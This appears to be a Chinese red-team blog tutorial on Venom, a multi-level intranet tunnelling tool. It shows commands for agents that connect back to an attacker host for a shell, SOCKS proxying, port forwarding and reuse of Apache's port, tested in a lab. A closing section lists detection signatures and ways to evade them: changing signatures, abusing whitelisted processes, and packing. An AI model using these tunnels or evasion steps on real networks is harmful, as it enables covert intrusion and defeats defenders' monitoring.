内网隧道之Venom
前言
本文研究端口转发&SOCKS5&SSH的一个工具,Venom
github:https://github.com/Dliv3/Venom/
一、概述
1、简介
玄武实验室的Dliv3作品,最后更新于2019年,用Go编写,多级代理工具,功能极强,但是现在基本被各大杀软查杀了(需做好免杀)
- 多级socks5代理
- 多级端口转发
- 端口复用 (apache/mysql/…)
- ssh隧道
- 交互式shell
- 文件的上传和下载
- 节点间通信加密
- 支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)
2、原理
TCP连接,可直接获取shell,也可端口转发或SOCKS代理
3、用法
(1)服务端
监听
代码语言:javascript复制./admin_macos_x64 -lport 9999
内置命令
- help 打印帮助信息
- show 显示网络拓扑
- goto 操作某节点
- getdes/setdes 获取/设置节点信息描述
- connect/listen/sshconnect 节点间互连
- shell 获取节点的交互式shell
- upload/download 向节点上传/从节点下载文件
- socks 建立到某节点的socks5代理
- lforward/rforward 将本地端口转发到远程/将远程端口转发到本地
(2)客户端
发起
代码语言:javascript复制./agent_linux_x64 -rhost <server-ip> -rport 9999
端口复用
通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用
代码语言:javascript复制 # 以windows下apache为例
# 复用apache 80端口,不影响apache提供正常的http服务
# -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80
通过iptables进行端口复用(仅支持Linux平台)
代码语言:javascript复制 # 以linux下apache为例
# 需要root权限
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
(3)加密
代码语言:javascript复制# 通过-passwd指定密码为dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
# agent指定相同的密码与admin节点连接
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
(4)三层代理
可参考
- 内网代理神器Venom及三层代理演示
- 内网穿透工具—Venom使用教程
二、实践
1、测试场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
都没有限制TCP连接
2、建立隧道
(1)服务端
./admin_linux_x64 -lport 2222
(2)客户端
代码语言:javascript复制./agent_linux_x64 -rhost 192.168.10.128 -rport 2222
3、抓包看看
TCP连接
获取shell
ls命令,这里是明文,因为用的时候没有进行加密
socks
在这里插入图片描述
三、探索
1、源码与分析
源码架构非常清晰,注释详细,可直接看
2、检测与绕过
(1)特征字符串和特征码
命令和log里的特征字符串可以作为检测特征
然后是代码里的特征码
绕过方法:修改掉相应的特征
(2)端口控制
做好端口控制
绕过方法:端口复用
(3)进程和库调用
通过终端的进程链控制和第三方库的调用情况在做检测
绕过方法:白进程利用,尽可能不调用库,加壳,主要是木马免杀那套
(4)SOCKS代理的检测
这是IDS这块,具体原理不清
结语
venom也是赫赫有名了,所以查杀理所当然都安排上了
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。